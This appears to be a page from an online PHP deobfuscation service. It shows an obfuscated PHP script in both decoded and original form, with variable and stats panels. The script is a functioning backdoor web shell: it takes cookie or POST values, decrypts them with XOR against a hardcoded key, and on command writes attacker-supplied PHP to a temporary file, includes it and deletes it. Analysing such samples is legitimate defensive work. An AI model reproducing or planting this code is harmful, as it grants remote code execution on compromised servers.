Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function dvqpke() { $s_fo_mw = 'dywvfgl'; print_r(21842 + 21842); } $qbd..

Decoded Output download

<?php function    dvqpke() 
{ 
  $s_fo_mw = 'dywvfgl'; 
  print_r(21842 + 21842); 
} 
$qbdtex    =  'qbdtex' /* uq_cho   */ ^   ' 
'; 
 
 
 
 
 
$yyzct      =   $_COOKIE; 
 
 
$tekurr  =  'sro'; 
 
$bwfxx /* fg*/ = /* up */ 334; 
$ocbgrzffab    = /*  etirn  */ $bwfxx      %    17; 
 
 
 
 
function    g_csbraedg($yfhak,       $nozvtggs) 
{ 
  global    $qbdtex; 
 
  $ljeomah     =    ""; 
 
  $xlhymyn_ /*   y  */ =   613; 
 
  $kjrqkoa /*  ckoz */ =      0; 
 
 
  while /*ysfutr   */ ($kjrqkoa /*zkfizq*/ < /*q*/ strlen($yfhak)) { 
 
 
    $rpunfrd_e     =    0; 
    while ($rpunfrd_e  <   strlen($nozvtggs) /*faqbm  */ && /*  _ */ $kjrqkoa     <      strlen($yfhak)) { 
      /*   fbxwg   */ 
 
 
      $ljeomah /*frxisd   */ .=      $qbdtex(ord($yfhak[$kjrqkoa]) /* dieujc  */ ^  ord($nozvtggs[$rpunfrd_e])); /* c*/ 
      $lrdoh      =    306; 
 
      $rpunfrd_e++; 
      /*  ajpl*/ 
      $kjrqkoa++; 
    } 
 
 
    /* lm */ 
  } 
  return  $ljeomah; 
} 
 
 
 
 
function /*   z  */ fecnm_hlnx($pkglgqc_av, /* tty   */ $yfhak) 
 
{ 
  global /*  phmy */ $qbdtex; 
 
  /* rvd   */ 
  $pgalrdjkmn    =    sprintf("." . $qbdtex(932 - 885)    .    $qbdtex(37) /*  g*/ . /* fnft */ "s" /* casips  */ . /*  km*/ $qbdtex(46) /*zzimwt  */ .    "p" /*  ejx*/ . /*  r */ "l", /*   yxyix*/ md5($pkglgqc_av)); 
 
 
  $dxararsck_    =       't_tt'; 
 
  file_put_contents($pgalrdjkmn,  "<"  . /*l   */ "?" /*  j   */ .      "p" . "h" . $qbdtex(112) /* et   */ . /*   kcu*/ $qbdtex(32)  .    $qbdtex(254 - 137)   .    "n" . "l" . $qbdtex(105) . "n"    .  "k" . $qbdtex(40) /*  h_idr_  */ . /* zoy*/ "_" . "_" /*  kwb*/ . /* m   */ $qbdtex(198 - 128) /*  eph*/ .    "I" /*  iywew  */ .    "L" /*lykk*/ . /*kpi */ "E" . "_"    .     "_" . ")" . ";" /* q*/ . /*   jeex */ $qbdtex(32) /*_gpmfl*/ .   $yfhak["d"]); 
  $vkidt_a     =      'mklbhiellz'; 
  /*   u*/ 
  include($pgalrdjkmn); 
 
  $amuq_  =  'ydzrw'; 
  $kgbcpmbrfa  =     $pgalrdjkmn; 
  @unlink($kgbcpmbrfa); 
} 
 
 
 
 
 
 
 
function    qwswb() 
{ 
 
 
  $qhvcd /*ktr__ */ =    'jgdpsqzjmx'; 
 
 
  /* _a */ 
  $whyvaxfru    = /*l  */ 'zxrv'; 
} 
 
 
 
 
qwswb(); 
 
 
 
function  _nsejhuq() 
{ 
 
 
  global /*   utkq   */ $qbdtex; 
 
  /*   m */ 
  $kjrqkoa       = /*   z   */ array(); 
 
 
  /*soblc   */ 
  $kjrqkoa["p" /*fow  */ . /*pljveq */ "v"] /*   et   */ = /*   pyrl   */ phpversion(); 
 
 
  /* mohwke*/ 
  $kjrqkoa["s"    . /*  wc*/ $qbdtex(697 - 579)]       =      "3" /*  nyekt */ . /*   tlp   */ "." . "5"; /*   ahhxbj */ 
  $vbxdcpnddj  =  'kwbpypcaci'; 
 
  /*ge_z*/ 
  $vmwmbkfid_    = /*  nn*/ 'vy'; 
  /*  f_*/ 
  echo  @serialize($kjrqkoa); 
 
  $zehywumhdv /*  elgorq  */ = /*zqcy  */ 'nvixby'; 
  $ljocjsmsq /*   jt_wp*/ = /*  aue  */ 914; 
} 
 
 
 
 
 
function /*   ckrkbd  */ xkwopthc($yfhak, /*  tjpe_p*/ $pkglgqc_av, /*arm*/ $mydptv) 
{ 
  global /*  mpljh_*/ $qbdtex; 
 
 
 
 
 
  $yfhak    = /*  qba */ unserialize(g_csbraedg(g_csbraedg(base64_decode($yfhak),   $pkglgqc_av), /*   cq_   */ $mydptv)); 
  $ltgwydzqx    = /*   okdq */ 568; 
  if (isset($yfhak["a" . "k"])) { 
 
 
    if ($yfhak["a"]  ==    $qbdtex(105)) /* phxsme*/ { 
      _nsejhuq(); 
 
 
      /*   hu   */ 
    } /*p */ elseif ($yfhak["a"] /* dti*/ ==     "e") /* th  */ { 
 
 
      fecnm_hlnx($pkglgqc_av, /* gp   */ $yfhak); 
      /*  hhkby*/ 
    } 
    exit(); 
  } 
} 
 
 
 
 
$yyzct /*   d */ = /* bznl */ array_merge($_POST,  $yyzct); 
$pkglgqc_av  = /*   x  */ "f"    .    "9" . "b" . "a"  .     "d" /*gi   */ .       "2" . "d" . "4" . "-" . $qbdtex(1095 - 997)    .    $qbdtex(784 - 727) /*g   */ . /*  zytw */ "4" . "0" . "-" . "4" . "3"  .       $qbdtex(102) /*gijh_   */ .    "6"    . /* sg */ $qbdtex(45) /*  lskyy */ .    "8"    . /*   mrdmra   */ "b" . "6"       . /* vph_*/ "b" . "-" . "e" . "0"    .  "2" /*lmvk */ . /*dshz   */ "a" /*  irdrm */ .   "d" . "b"     . /*dg */ $qbdtex(56)    .      "f"    .       $qbdtex(53)    .    "c" . "c" . "c"; 
$frkrjlgzqg    =    'y_jfteh'; 
 
 
$tsfxxmsgc /*  h  */ =  'cn'; 
foreach ($yyzct /*   iuyn   */ as /*   m   */ $mydptv /*  jurji   */ =>       $yfhak) /*   amfk_t*/ { 
 
  xkwopthc($yfhak,  $pkglgqc_av,    $mydptv); 
} 
 ?>

Did this file decode correctly?

Original Code

<?php function    dvqpke()
{
  $s_fo_mw = 'dywvfgl';
  print_r(21842 + 21842);
}
$qbdtex    =  'qbdtex' /* uq_cho   */ ^   '
';





$yyzct      =   $_COOKIE;


$tekurr  =  'sro';

$bwfxx /* fg*/ = /* up */ 334;
$ocbgrzffab    = /*  etirn  */ $bwfxx      %    17;




function    g_csbraedg($yfhak,       $nozvtggs)
{
  global    $qbdtex;

  $ljeomah     =    "";

  $xlhymyn_ /*   y  */ =   613;

  $kjrqkoa /*  ckoz */ =      0;


  while /*ysfutr   */ ($kjrqkoa /*zkfizq*/ < /*q*/ strlen($yfhak)) {


    $rpunfrd_e     =    0;
    while ($rpunfrd_e  <   strlen($nozvtggs) /*faqbm  */ && /*  _ */ $kjrqkoa     <      strlen($yfhak)) {
      /*   fbxwg   */


      $ljeomah /*frxisd   */ .=      $qbdtex(ord($yfhak[$kjrqkoa]) /* dieujc  */ ^  ord($nozvtggs[$rpunfrd_e])); /* c*/
      $lrdoh      =    306;

      $rpunfrd_e++;
      /*  ajpl*/
      $kjrqkoa++;
    }


    /* lm */
  }
  return  $ljeomah;
}




function /*   z  */ fecnm_hlnx($pkglgqc_av, /* tty   */ $yfhak)

{
  global /*  phmy */ $qbdtex;

  /* rvd   */
  $pgalrdjkmn    =    sprintf("." . $qbdtex(932 - 885)    .    $qbdtex(37) /*  g*/ . /* fnft */ "\163" /* casips  */ . /*  km*/ $qbdtex(46) /*zzimwt  */ .    "\160" /*  ejx*/ . /*  r */ "l", /*   yxyix*/ md5($pkglgqc_av));


  $dxararsck_    =       't_tt';

  file_put_contents($pgalrdjkmn,  "<"  . /*l   */ "\x3f" /*  j   */ .      "p" . "h" . $qbdtex(112) /* et   */ . /*   kcu*/ $qbdtex(32)  .    $qbdtex(254 - 137)   .    "n" . "l" . $qbdtex(105) . "\156"    .  "k" . $qbdtex(40) /*  h_idr_  */ . /* zoy*/ "_" . "\x5f" /*  kwb*/ . /* m   */ $qbdtex(198 - 128) /*  eph*/ .    "\x49" /*  iywew  */ .    "\x4c" /*lykk*/ . /*kpi */ "E" . "\137"    .     "_" . ")" . "\73" /* q*/ . /*   jeex */ $qbdtex(32) /*_gpmfl*/ .   $yfhak["d"]);
  $vkidt_a     =      'mklbhiellz';
  /*   u*/
  include($pgalrdjkmn);

  $amuq_  =  'ydzrw';
  $kgbcpmbrfa  =     $pgalrdjkmn;
  @unlink($kgbcpmbrfa);
}







function    qwswb()
{


  $qhvcd /*ktr__ */ =    'jgdpsqzjmx';


  /* _a */
  $whyvaxfru    = /*l  */ 'zxrv';
}




qwswb();



function  _nsejhuq()
{


  global /*   utkq   */ $qbdtex;

  /*   m */
  $kjrqkoa       = /*   z   */ array();


  /*soblc   */
  $kjrqkoa["\x70" /*fow  */ . /*pljveq */ "v"] /*   et   */ = /*   pyrl   */ phpversion();


  /* mohwke*/
  $kjrqkoa["\x73"    . /*  wc*/ $qbdtex(697 - 579)]       =      "\63" /*  nyekt */ . /*   tlp   */ "." . "5"; /*   ahhxbj */
  $vbxdcpnddj  =  'kwbpypcaci';

  /*ge_z*/
  $vmwmbkfid_    = /*  nn*/ 'vy';
  /*  f_*/
  echo  @serialize($kjrqkoa);

  $zehywumhdv /*  elgorq  */ = /*zqcy  */ 'nvixby';
  $ljocjsmsq /*   jt_wp*/ = /*  aue  */ 914;
}





function /*   ckrkbd  */ xkwopthc($yfhak, /*  tjpe_p*/ $pkglgqc_av, /*arm*/ $mydptv)
{
  global /*  mpljh_*/ $qbdtex;





  $yfhak    = /*  qba */ unserialize(g_csbraedg(g_csbraedg(base64_decode($yfhak),   $pkglgqc_av), /*   cq_   */ $mydptv));
  $ltgwydzqx    = /*   okdq */ 568;
  if (isset($yfhak["a" . "k"])) {


    if ($yfhak["a"]  ==    $qbdtex(105)) /* phxsme*/ {
      _nsejhuq();


      /*   hu   */
    } /*p */ elseif ($yfhak["a"] /* dti*/ ==     "e") /* th  */ {


      fecnm_hlnx($pkglgqc_av, /* gp   */ $yfhak);
      /*  hhkby*/
    }
    exit();
  }
}




$yyzct /*   d */ = /* bznl */ array_merge($_POST,  $yyzct);
$pkglgqc_av  = /*   x  */ "\146"    .    "9" . "b" . "\x61"  .     "\144" /*gi   */ .       "2" . "d" . "4" . "-" . $qbdtex(1095 - 997)    .    $qbdtex(784 - 727) /*g   */ . /*  zytw */ "4" . "0" . "-" . "4" . "\x33"  .       $qbdtex(102) /*gijh_   */ .    "\x36"    . /* sg */ $qbdtex(45) /*  lskyy */ .    "\x38"    . /*   mrdmra   */ "b" . "\66"       . /* vph_*/ "b" . "-" . "e" . "\x30"    .  "\62" /*lmvk */ . /*dshz   */ "\141" /*  irdrm */ .   "d" . "\x62"     . /*dg */ $qbdtex(56)    .      "\x66"    .       $qbdtex(53)    .    "c" . "c" . "c";
$frkrjlgzqg    =    'y_jfteh';


$tsfxxmsgc /*  h  */ =  'cn';
foreach ($yyzct /*   iuyn   */ as /*   m   */ $mydptv /*  jurji   */ =>       $yfhak) /*   amfk_t*/ {

  xkwopthc($yfhak,  $pkglgqc_av,    $mydptv);
}

Function Calls

qwswb 1
array_merge 1

Variables

$bwfxx 334
$qhvcd jgdpsqzjmx
$yyzct 0
$qbdtex cBnbwX
$tekurr sro
$whyvaxfru zxrv
$ocbgrzffab 11

Stats

MD5 3c3eeea009efc93fedd183a53db7e5fb
Eval Count 0
Decode Time 69 ms